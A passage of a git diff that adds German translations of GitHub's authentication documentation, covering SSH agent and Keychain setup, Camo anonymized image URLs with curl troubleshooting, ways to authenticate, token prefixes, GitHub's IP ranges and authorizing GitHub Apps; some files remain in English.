+Falls dein privater Schlüssel nicht an einem der Standardspeicherorte (beispielsweise `~/.ssh/id_rsa`) gespeichert ist, musst du deinem SSH-Authentifizierungs-Agent mitteilen, wo sich der Schlüssel befindet. Gib `ssh-add ~/path/to/my_key` ein, um deinen Schlüssel dem SSH-Agent hinzuzufügen. Weitere Informationen findest du unter [Einen neuen SSH-Schlüssel generieren und zu ssh-agent hinzufügen](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent/).
+
+{% tip %}
+
+**Tipp:** Falls `ssh-agent` deinen Schlüssel nur für einen bestimmten Zeitraum speichern soll, kannst du `ssh-add -t <seconds>` ausführen, um dies zu konfigurieren.
+
+{% endtip %}
+
+Bei der erstmaligen Ausführung von „Git Bash“ wirst du nun zur Eingabe deiner Passphrase aufgefordert:
+
+```shell
+> Initializing new SSH agent...
+> succeeded
+> Enter passphrase for /c/Users/<em>you</em>/.ssh/id_rsa:
+> Identity added: /c/Users/<em>you</em>/.ssh/id_rsa (/c/Users/<em>you</em>/.ssh/id_rsa)
+> Welcome to Git (version <em>1.6.0.2-preview20080923</em>)
+>
+> Run 'git help git' to display the help index.
+> Run 'git help <command>' to display help for specific commands.
+```
+
+Der `ssh-agent`-Prozess wird fortgesetzt, bis du dich abmeldest, deinen Computer herunterfährst oder den Prozess beendest.
+
+{% endwindows %}
+
+{% mac %}
+
+## Deine Passphrase in Keychain speichern
+
+Von Mac OS X Leopard bis einschließlich OS X El Capitan werden folgende Standarddateien für private Schlüssel automatisch verarbeitet:
+
+- *.ssh/id_rsa*
+- *.ssh/identity*
+
+Bei der ersten Nutzung deines Schlüssels wirst du zur Eingabe deiner Passphrase aufgefordert. Falls du die Passphrase mit deiner Schlüsselkette speicherst, musst du sie nicht erneut eingeben.
+
+Andernfalls kannst du deine Passphrase in der Schlüsselkette speichern, wenn du deinen Schlüssel zum SSH-Agenten hinzufügst. Weitere Informationen findest du unter [Deinen SSH-Schlüssel zum SSH-Agent hinzufügen](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent).
+
+{% endmac %}
diff --git a/translations/de-DE/content/authentication/index.md b/translations/de-DE/content/authentication/index.md
new file mode 100644
index 0000000000..1bcd6b4b97
--- /dev/null
+++ b/translations/de-DE/content/authentication/index.md
@@ -0,0 +1,60 @@
+---
+title: Authentication
+intro: 'Keep your account and data secure with features like {% ifversion not ghae %}two-factor authentication, {% endif %}SSH{% ifversion not ghae %},{% endif %} and commit signature verification.'
+redirect_from:
+  - /categories/56/articles
+  - /categories/ssh
+  - /mac-verify-ssh
+  - /ssh-issues
+  - /verify-ssh-redirect
+  - /win-verify-ssh
+  - /categories/92/articles
+  - /categories/gpg
+  - /categories/security
+  - /categories/authenticating-to-github
+  - /github/authenticating-to-github
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+introLinks:
+  overview: /authentication/keeping-your-account-and-data-secure/about-authentication-to-github
+featuredLinks:
+  guides:
+    - /authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent
+    - /authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token
+    - /authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication
+    - '{% ifversion ghae %}/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials{% endif %}'
+  popular:
+    - /authentication/troubleshooting-ssh
+    - /authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys
+    - /authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account
+    - '{% ifversion ghae %}/authentication/connecting-to-github-with-ssh/testing-your-ssh-connection{% endif %}'
+    - /authentication/authenticating-with-saml-single-sign-on
+    - /authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits
+  guideCards:
+    - /authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials
+    - /authentication/troubleshooting-ssh/error-permission-denied-publickey
+    - /authentication/keeping-your-account-and-data-secure/creating-a-strong-password
+    - '{% ifversion ghae %}/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials{% endif %}'
+    - '{% ifversion ghae %}/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on{% endif %}'
+changelog:
+  label: '2FA,authentication,security keys,SSH,token authentication'
+layout: product-landing
+topics:
+  - 2FA
+  - Identity
+  - Access management
+  - Usernames
+  - Device verification
+children:
+  - /keeping-your-account-and-data-secure
+  - /securing-your-account-with-two-factor-authentication-2fa
+  - /authenticating-with-saml-single-sign-on
+  - /connecting-to-github-with-ssh
+  - /troubleshooting-ssh
+  - /managing-commit-signature-verification
+  - /troubleshooting-commit-signature-verification
+---
+
diff --git a/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md
new file mode 100644
index 0000000000..37cd9755c2
--- /dev/null
+++ b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md
@@ -0,0 +1,106 @@
+---
+title: Informationen zu anonymisierten URLs
+intro: 'Wenn du ein Bild oder Video zu {% data variables.product.product_name %} hochlädst, wird die URL des Bilds oder Videos geändert, sodass deine Daten nicht nachverfolgbar sind.'
+redirect_from:
+  - /articles/why-do-my-images-have-strange-urls
+  - /articles/about-anonymized-image-urls
+  - /authenticating-to-github/about-anonymized-image-urls
+  - /github/authenticating-to-github/about-anonymized-urls
+  - /github/authenticating-to-github/keeping-your-account-and-data-secure/about-anonymized-urls
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+ms.openlocfilehash: b96c01144d28d668d33e96e4067801395aaa8275
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145106599'
+---
+{% data variables.product.product_name %} verwendet das [Open-Source-Projekt Camo](https://github.com/atmos/camo) zum Hosten deiner Bilder. Camo generiert einen anonymen URL-Proxy für jede Datei, der Details zu deinem Browser und verwandte Daten vor anderen Benutzer*innen verbirgt. Die URL beginnt mit `https://<subdomain>.githubusercontent.com/` und enthält verschiedene Unterdomänen, je nachdem, wie du das Bild hochgeladen hast. 
+
+Für Videos werden ebenfalls anonymisierte URLs im selben Format wie die Bild-URLs erstellt, sie werden aber nicht über Camo verarbeitet. Dies liegt daran, dass {% data variables.product.prodname_dotcom %} keine extern gehosteten Videos unterstützt, daher ist die anonymisierte URL ein Link zum hochgeladenen Video, das von {% data variables.product.prodname_dotcom %} gehostet wird.
+
+Alle Personen, die deine anonymisierte URL direkt oder indirekt erhalten, können dein Bild oder Video anzeigen. Um vertrauliche Mediendateien zu schützen, verwende nicht Camo, sondern beschränke diese auf ein privates Netzwerk oder einen Server, der eine Authentifizierung erfordert.
+
+## Probleme mit Camo beheben
+
+In seltenen Fällen erscheinen Bilder, die mit Camo verarbeitet werden, möglicherweise nicht auf {% data variables.product.prodname_dotcom %}. Nachfolgend findest du einige Schritte, mit denen du feststellen kannst, wo das Problem liegt.
+
+{% windows %}
+
+{% tip %}
+
+Windows-Benutzer müssen entweder Git PowerShell verwenden (zusätzlich zu [{% data variables.product.prodname_desktop %} installiert](https://desktop.github.com/)) oder [curl für Windows](http://curl.haxx.se/download.html) herunterladen.
+
+{% endtip %}
+
+{% endwindows %}
+
+### Ein Bild wird nicht angezeigt
+
+Wenn ein Bild in deinem Browser angezeigt wird, aber nicht auf {% data variables.product.prodname_dotcom %}, kannst du versuchen, es lokal anzufordern.
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+1. Fordere die Bildheader mithilfe von `curl` an.
+  ```shell
+  $ curl -I https://www.my-server.com/images/some-image.png
+  > HTTP/2 200
+  > Date: Fri, 06 Jun 2014 07:27:43 GMT
+  > Expires: Sun, 06 Jul 2014 07:27:43 GMT
+  > Content-Type: image/x-png
+  > Server: Google Frontend
+  > Content-Length: 6507
+  ```
+3. Überprüfe den Wert von `Content-Type`. In diesem Fall ist dies `image/x-png`.
+4. Überprüfe den Inhaltstyp anhand der [Liste der von Camo unterstützten Typen](https://github.com/atmos/camo/blob/master/mime-types.json).
+
+Wenn dein Inhaltstyp von Camo nicht unterstützt wird, kannst du mehrere Aktionen versuchen:
+  * Wenn du der Besitzer des Servers bist, der das Bild verwaltet, ändere die Einstellungen so, dass er einen korrekten Inhaltstyp für Bilder zurückgibt.
+  * Wenn du einen externen Dienst zum Verwalten von Bildern verwendest, wende Dich an den Support für diesen Dienst.
+  * Stelle einen Pull Request an Camo, um deinen Inhaltstyp zur Liste hinzuzufügen.
+
+### Ein kürzlich geändertes Bild wird nicht aktualisiert
+
+Wenn du ein Bild kürzlich geändert hast und die Änderung in deinem Browser angezeigt wird, aber nicht auf {% data variables.product.prodname_dotcom %}, kannst du versuchen, den Cache des Bildes zurückzusetzen.
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+1. Fordere die Bildheader mithilfe von `curl` an.
+  ```shell
+  $ curl -I https://www.my-server.com/images/some-image.png
+  > HTTP/2 200
+  > Expires: Fri, 01 Jan 1984 00:00:00 GMT
+  > Content-Type: image/png
+  > Content-Length: 2339
+  > Server: Jetty(8.y.z-SNAPSHOT)
+  ```
+
+Überprüfe den Wert von `Cache-Control`. In diesem Beispiel ist `Cache-Control` nicht vorhanden. Dabei trifft Folgendes zu:
+  * Wenn sich der Server, auf dem das Bild gehostet wird, in deinem Besitz befindet, ändere ihn so, dass er den `Cache-Control`-Wert `no-cache` für Bilder zurückgibt.
+  * Wenn du einen externen Dienst zum Verwalten von Bildern verwendest, wende Dich an den Support für diesen Dienst.
+
+ Wenn `Cache-Control` auf `no-cache` *festgelegt* ist, wende dich an den {% data variables.contact.contact_support %}, oder durchsuche das {% data variables.contact.community_support_forum %}.
+
+### Ein Bild aus dem Zwischenspeicher von Camo entfernen
+
+Durch das Bereinigen des Caches wird jeder {% data variables.product.prodname_dotcom %}-Benutzer dazu gezwungen, das Bild erneut anzufordern. Daher solltest du diesen Vorgang selten und nur dann durchführen, wenn die oben genannten Schritte nicht funktioniert haben.
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+1. Bereinige das Bild mithilfe von `curl -X PURGE` in der Camo-URL.
+  ```shell
+  $ curl -X PURGE https://camo.githubusercontent.com/4d04abe0044d94fefcf9af2133223....
+  > {"status": "ok", "id": "216-8675309-1008701"}
+  ```
+
+### Bilder in privaten Netzwerken anzeigen
+
+Wenn ein Bild von einem privaten Netzwerk oder von einem Server bereitgestellt wird, der eine Authentifizierung erfordert, kann es nicht von {% data variables.product.prodname_dotcom %} angezeigt werden. Tatsächlich kann es von keinem Benutzer eingesehen werden, ohne dass er dazu aufgefordert wird, sich am Server anzumelden.
+
+Um dieses Problem zu beheben, verschiebe das Bild bitte auf einen öffentlich zugänglichen Dienst.
+
+## Weiterführende Themen
+
+- [Weiterleiten von Benutzerbildern](https://github.com/blog/1766-proxying-user-images) im {% data variables.product.prodname_blog %}
diff --git a/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md
new file mode 100644
index 0000000000..9269d90ee5
--- /dev/null
+++ b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md
@@ -0,0 +1,114 @@
+---
+title: About authentication to GitHub
+intro: 'You can securely access your account''s resources by authenticating to {% data variables.product.product_name %}, using different credentials depending on where you authenticate.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+redirect_from:
+  - /github/authenticating-to-github/about-authentication-to-github
+  - /github/authenticating-to-github/keeping-your-account-and-data-secure/about-authentication-to-github
+shortTitle: Authentication to GitHub
+---
+## About authentication to {% data variables.product.prodname_dotcom %}
+
+To keep your account secure, you must authenticate before you can access{% ifversion not ghae %} certain{% endif %} resources on {% data variables.product.product_name %}. When you authenticate to {% data variables.product.product_name %}, you supply or confirm credentials that are unique to you to prove that you are exactly who you declare to be.
+
+You can access your resources in {% data variables.product.product_name %} in a variety of ways: in the browser, via {% data variables.product.prodname_desktop %} or another desktop application, with the API, or via the command line. Each way of accessing {% data variables.product.product_name %} supports different modes of authentication.
+{%- ifversion not fpt %}
+- Your identity provider (IdP){% endif %}{% ifversion not ghae %}
+- Username and password with two-factor authentication{% endif %}
+- {% data variables.product.pat_generic_caps %}
+- SSH key
+
+## Authenticating in your browser
+
+{% ifversion ghae %}
+
+You can authenticate to {% data variables.product.product_name %} in your browser using your IdP. For more information, see "[About authentication with SAML single sign-on](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)."
+
+{% else %}
+
+{% ifversion fpt or ghec %}
+
+If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you will authenticate to {% data variables.product.product_name %} in your browser using your IdP. For more information, see "[Authenticating as a managed user](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users#authenticating-as-a-managed-user){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} 
+
+If you're not a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you will authenticate using your {% data variables.product.prodname_dotcom_the_website %} username and password. You may also use two-factor authentication and SAML single sign-on, which can be required by organization and enterprise owners.
+
+{% else %}
+
+You can authenticate to {% data variables.product.product_name %} in your browser in a number of ways.
+
+{% endif %}
+
+- **Username and password only**
+    - You'll create a password when you create your account on {% data variables.product.product_name %}. We recommend that you use a password manager to generate a random and unique password. For more information, see "[Creating a strong password](/github/authenticating-to-github/creating-a-strong-password)."{% ifversion fpt or ghec %}
+  - If you have not enabled 2FA, {% data variables.product.product_name %} will ask for additional verification when you first sign in from an unrecognized device, such as a new browser profile, a browser where the cookies have been deleted, or a new computer.
+
+   After providing your username and password, you will be asked to provide a verification code that we will send to you via email. If you have the {% data variables.product.prodname_mobile %} application installed, you'll receive a notification there instead. For more information, see "[{% data variables.product.prodname_mobile %}](/get-started/using-github/github-mobile)."{% endif %}
+- **Two-factor authentication (2FA)** (recommended)
+    - If you enable 2FA, after you successfully enter your username and password, we'll also prompt you to provide a code that's generated by a time-based one time password (TOTP) application on your mobile device{% ifversion fpt or ghec %} or sent as a text message (SMS){% endif %}. For more information, see "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/github/authenticating-to-github/accessing-github-using-two-factor-authentication#providing-a-2fa-code-when-signing-in-to-the-website)."
+    - In addition to authentication with a TOTP application{% ifversion fpt or ghec %} or a text message{% endif %}, you can optionally add an alternative method of authentication with {% ifversion fpt or ghec %}{% data variables.product.prodname_mobile %} or{% endif %} a security key using WebAuthn. For more information, see {% ifversion fpt or ghec %}"[Configuring two-factor authentication with {% data variables.product.prodname_mobile %}](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication#configuring-two-factor-authentication-using-github-mobile)" and {% endif %}"[Configuring two-factor authentication using a security key](/github/authenticating-to-github/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)."{% ifversion ghes %}
+- **External authentication**
+  - Your site administrator may configure {% data variables.location.product_location %} to use external authentication instead of a username and password. For more information, see "[External authentication methods](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#external-authentication)."{% endif %}{% ifversion fpt or ghec %}
+- **SAML single sign-on**
+  - Before you can access resources owned by an organization or enterprise account that uses SAML single sign-on, you may need to also authenticate through an IdP. For more information, see "[About authentication with SAML single sign-on](/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
+
+{% endif %}
+
+## Authenticating with {% data variables.product.prodname_desktop %}
+You can authenticate with {% data variables.product.prodname_desktop %} using your browser. For more information, see "[Authenticating to {% data variables.product.prodname_dotcom %}](/desktop/getting-started-with-github-desktop/authenticating-to-github)."
+
+## Authenticating with the API
+
+You can authenticate with the API in different ways.
+
+- **{% data variables.product.pat_generic_caps %}s**
+    - In limited situations, such as testing, you can use a {% data variables.product.pat_generic %} to access the API. Using a {% data variables.product.pat_generic %} enables you to revoke access at any time. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)."
+- **Web application flow**
+    - For OAuth Apps in production, you should authenticate using the web application flow. For more information, see "[Authorizing OAuth Apps](/apps/building-oauth-apps/authorizing-oauth-apps/#web-application-flow)."
+- **GitHub Apps**
+    - For GitHub Apps in production, you should authenticate on behalf of the app installation. For more information, see "[Authenticating with {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/authenticating-with-github-apps/)."
+
+## Authenticating with the command line
+
+You can access repositories on {% data variables.product.product_name %} from the command line in two ways, HTTPS and SSH, and both have a different way of authenticating. The method of authenticating is determined based on whether you choose an HTTPS or SSH remote URL when you clone the repository. For more information about which way to access, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)."
+
+### HTTPS
+
+You can work with all repositories on {% data variables.product.product_name %} over HTTPS, even if you are behind a firewall or proxy.
+
+If you authenticate with {% data variables.product.prodname_cli %}, you can either authenticate with a {% data variables.product.pat_generic %} or via the web browser. For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login).
+
+If you authenticate without {% data variables.product.prodname_cli %}, you must authenticate with a {% data variables.product.pat_generic %}. {% data reusables.user-settings.password-authentication-deprecation %} Every time you use Git to authenticate with {% data variables.product.product_name %}, you'll be prompted to enter your credentials to authenticate with {% data variables.product.product_name %}, unless you cache them with a [credential helper](/github/getting-started-with-github/caching-your-github-credentials-in-git).
+
+### SSH
+
+You can work with all repositories on {% data variables.product.product_name %} over SSH, although firewalls and proxies might refuse to allow SSH connections.
+
+If you authenticate with {% data variables.product.prodname_cli %}, the CLI will find SSH public keys on your machine and will prompt you to select one for upload. If {% data variables.product.prodname_cli %} does not find a SSH public key for upload, it can generate a new SSH public/private keypair and upload the public key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. Then, you can either authenticate with a {% data variables.product.pat_generic %} or via the web browser. For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login).
+
+If you authenticate without {% data variables.product.prodname_cli %}, you will need to generate an SSH public/private keypair on your local machine and add the public key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. For more information, see "[Generating a new SSH key and adding it to the ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." Every time you use Git to authenticate with {% data variables.product.product_name %}, you'll be prompted to enter your SSH key passphrase, unless you've [stored the key](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent).
+
+{% ifversion fpt or ghec %}
+### Authorizing for SAML single sign-on
+
+To use a {% data variables.product.pat_generic %} or SSH key to access resources owned by an organization that uses SAML single sign-on, you must also authorize the personal token or SSH key. For more information, see "[Authorizing a {% data variables.product.pat_generic %} for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" or "[Authorizing an SSH key for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
+
+## {% data variables.product.company_short %}'s token formats
+
+{% data variables.product.company_short %} issues tokens that begin with a prefix to indicate the token's type.
+
+| Token type | Prefix | More information |
+| :- | :- | :- |
+| {% data variables.product.pat_v1_caps %} | `ghp_` | {% ifversion pat-v2 %}"[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token#creating-a-personal-access-token-classic)"{% else %}"[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)"{% endif %}  |{% ifversion pat-v2 %}
+| {% data variables.product.pat_v2_caps %} | `github_pat_` | "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token#creating-a-fine-grained-personal-access-token)" |{% endif %}
+| OAuth access token | `gho_` | "[Authorizing {% data variables.product.prodname_oauth_apps %}](/developers/apps/authorizing-oauth-apps)" |
+| User-to-server token for a {% data variables.product.prodname_github_app %} | `ghu_` | "[Identifying and authorizing users for {% data variables.product.prodname_github_apps %}](/developers/apps/identifying-and-authorizing-users-for-github-apps)" |
+| Server-to-server token for a {% data variables.product.prodname_github_app %} | `ghs_` | "[Authenticating with {% data variables.product.prodname_github_apps %}](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation)" |
+| Refresh token for a {% data variables.product.prodname_github_app %} | `ghr_` | "[Refreshing user-to-server access tokens](/developers/apps/refreshing-user-to-server-access-tokens)" |
+
diff --git a/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md
new file mode 100644
index 0000000000..433d3abbb8
--- /dev/null
+++ b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md
@@ -0,0 +1,45 @@
+---
+title: Informationen zu den IP-Adressen von GitHub
+intro: '{% data variables.product.product_name %} versorgt Anwendungen aus mehreren IP-Adressbereichen, die über die API verfügbar sind.'
+redirect_from:
+  - /articles/what-ip-addresses-does-github-use-that-i-should-whitelist
+  - /categories/73/articles
+  - /categories/administration
+  - /articles/github-s-ip-addresses
+  - /articles/about-github-s-ip-addresses
+  - /articles/about-githubs-ip-addresses
+  - /github/authenticating-to-github/about-githubs-ip-addresses
+  - /github/authenticating-to-github/keeping-your-account-and-data-secure/about-githubs-ip-addresses
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+shortTitle: GitHub's IP addresses
+ms.openlocfilehash: ab598fa408512a43ab07c069119480b5ae03278e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145106587'
+---
+Du kannst eine Liste der IP-Adressen von {% data variables.product.prodname_dotcom %} über den [Meta](https://api.github.com/meta)-API-Endpunkt abrufen. Weitere Informationen findest du unter [Meta](/rest/reference/meta).
+
+{% note %}
+
+**Hinweis:** Die Liste der {% data variables.product.prodname_dotcom %} IP-Adressen, die von der Meta-API zurückgegeben werden, ist nicht als vollständige Liste gedacht. Beispielsweise werden IP-Adressen für einige {% data variables.product.prodname_dotcom %} Dienste wie LFS oder {% data variables.product.prodname_registry %} möglicherweise nicht aufgeführt.
+
+{% endnote %}
+
+Diese IP-Adressen werden von {% data variables.product.prodname_dotcom %} verwendet, um unsere Inhalte bereitzustellen, WebHooks zu liefern und gehostete {% data variables.product.prodname_actions %}-Builds durchzuführen.
+
+Diese Bereiche befinden sich in der [CIDR-Notation](https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing#CIDR_notation). Du kannst zum Beispiel ein Online-Konvertierungstool verwenden, um von der CIDR-Notation in IP-Adressbereiche umzuwandeln: [CIDR zu IPv4 Konvertierungsseite](https://www.ipaddressguide.com/cidr).
+
+Wir nehmen von Zeit zu Zeit Änderungen an unseren IP-Adressen vor. Wir empfehlen nicht, die Erlaubnis nach IP-Adresse zu erteilen. Wenn Du jedoch diese IP-Bereiche verwendest, empfehlen wir dringend eine regelmäßige Überwachung unserer API.
+
+Damit die Anwendungen funktionieren, musst Du die TCP-Ports 22, 80, 443 und 9418 über unsere IP-Bereiche für `github.com`.
+
+## Weiterführende Themen
+
+- [Behandlung von Konnektivitätsproblemen](/articles/troubleshooting-connectivity-problems)
diff --git a/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/authorizing-github-apps.md b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/authorizing-github-apps.md
new file mode 100644
index 0000000000..be587ccbf5
--- /dev/null
+++ b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/authorizing-github-apps.md
@@ -0,0 +1,61 @@
+---
+title: Autorisieren von GitHub-Apps
+intro: 'Du kannst eine {% data variables.product.prodname_github_app %} autorisieren, damit eine Anwendung Informationen zu deinem {% data variables.product.prodname_dotcom %}-Konto abrufen und unter bestimmten Umständen in deinem Namen Änderungen auf {% data variables.product.prodname_dotcom %} vornehmen darf.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+redirect_from:
+  - /github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-github-apps
+ms.openlocfilehash: 050f437f411919c4be488e61c032a8543a301e02
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145104123'
+---
+Drittanbieteranwendungen, die deine {% data variables.product.prodname_dotcom %}-Identität überprüfen oder mit den Daten auf {% data variables.product.prodname_dotcom %} in deinem Namen interagieren müssen, kannst du auffordern, die {% data variables.product.prodname_github_app %} für diese Aufgabe entsprechend zu autorisieren. 
+
+Wenn du die {% data variables.product.prodname_github_app %} autorisierst, solltest du sicherstellen, dass die Anwendung vertrauenswürdig ist, und überprüfen, von wem sie entwickelt wurde und auf welche Daten sie zugreifen möchte.
+
+Während der Autorisierung wirst du aufgefordert, der {% data variables.product.prodname_github_app %} die Berechtigung für Folgendes zu erteilen:
+* **Überprüfen deiner {% data variables.product.prodname_dotcom %}-Identität**<br/>
+  Nach entsprechender Autorisierung ist die {% data variables.product.prodname_github_app %} je nach angeforderter Zugriffsstufe dazu in der Lage, dein öffentliches GitHub-Profil sowie einige private Details (z. B. deine E-Mail-Adresse) programmgesteuert abzurufen.
+* **Erfassen der Information, auf welche Ressourcen du zugreifen kannst**<br/>
+  Nach entsprechender Autorisierung ist die {% data variables.product.prodname_github_app %} dazu in der Lage, die _privaten_ {% data variables.product.prodname_dotcom %}-Ressourcen programmgesteuert zu lesen, auf die du zugreifen kannst (z. B. private {% data variables.product.prodname_dotcom %}-Repositorys) und _bei denen_ eine Installation der {% data variables.product.prodname_github_app %} ebenfalls vorhanden ist. Von der Anwendung könnten diese Informationen z. B. dazu verwendet werden, Ihnen eine entsprechende Liste von Repositorys anzuzeigen.
+* **Handeln in deinem Namen**<br/>
+  Die Anwendung muss möglicherweise in deinem Namen Aufgaben auf {% data variables.product.prodname_dotcom %} ausführen. Dies kann das Erstellen eines Issues oder das Kommentieren eines Pull Requests umfassen. Diese Möglichkeit, in deinem Namen zu handeln, ist auf die {% data variables.product.prodname_dotcom %}-Ressourcen beschränkt, auf die _sowohl_ du als auch die {% data variables.product.prodname_github_app %} Zugriff hast. In bestimmten Fällen darf die Anwendung jedoch niemals Änderungen in deinem Namen durchführen.
+  
+## Wann handelt eine {% data variables.product.prodname_github_app %} in deinem Namen?
+
+Die Situationen, in denen eine {% data variables.product.prodname_github_app %} in deinem Namen handelt, variieren je nach Zweck der {% data variables.product.prodname_github_app %} und Kontext, in dem sie verwendet wird. 
+
+Beispielsweise kann eine {% data variables.product.prodname_github_app %} von einer integrierten Entwicklungsumgebung (Integrated Development Environment, IDE) dazu verwendet werden, in deinem Namen zu interagieren und Änderungen, die du über die IDE erstellt hast, wieder zurück in Repositorys auf {% data variables.product.prodname_dotcom %} zu übertragen.  Die {% data variables.product.prodname_github_app %} erreicht dies über eine [Benutzer-zu-Server-Anforderung](/get-started/quickstart/github-glossary#user-to-server-request).
+
+Wenn eine {% data variables.product.prodname_github_app %} auf diese Weise in deinem Namen handelt, wird dies auf GitHub über ein spezielles Symbol gekennzeichnet, das aus einem kleinen Avatar für die {% data variables.product.prodname_github_app %} besteht, mit dem dein Avatar wie unten dargestellt überlagert wird.
+
+![Ein Issue, das von einer „Benutzer-zu-Server“-Anforderung von einer {% data variables.product.prodname_github_app %} erstellt wurde](/assets/images/help/apps/github-apps-new-issue.png)
+
+## In welchem Umfang kann eine {% data variables.product.prodname_github_app %} erfassen, auf welche Ressourcen du zugreifen kannst, und in deinem Namen handeln?
+
+Der Umfang, in dem eine {% data variables.product.prodname_github_app %} erfassen kann, auf welche Ressourcen du zugreifen kannst, und der Umfang, in dem sie nach der entsprechenden Autorisierung durch dich in deinem Namen handeln kann, ist durch Folgendes begrenzt:
+
+* Die Organisationen oder Repositorys, in denen die App installiert ist 
+* Die Berechtigungen, die die App angefordert hat
+* Dein Zugriff auf {% data variables.product.prodname_dotcom %}-Ressourcen
+
+Dies wird anhand eines Beispiels erläutert.
+
+{% data variables.product.prodname_dotcom %}-Benutzerin Alice meldet sich in einer Webanwendung eines Drittanbieters, ExampleApp, mit ihrer {% data variables.product.prodname_dotcom %}-Identität an. Während dieses Prozesses autorisiert Alice ExampleApp, Aktionen in ihrem Namen auszuführen.
+
+Allerdings sind die Aktivitäten, die von ExampleApp im Namen von Alice in {% data variables.product.prodname_dotcom %} durchgeführt werden können, durch Folgendes eingeschränkt: die Repositorys, in denen ExampleApp installiert ist, die Berechtigungen, die von ExampleApp angefordert wurden, und durch den Zugriff, den Alice für {% data variables.product.prodname_dotcom %}-Ressourcen hat. 
+
+Das heißt: Damit von ExampleApp ein Issue im Namen von Alice in einem Repository namens Repo A erstellt werden kann, müssen alle folgenden Punkte zutreffen:
+
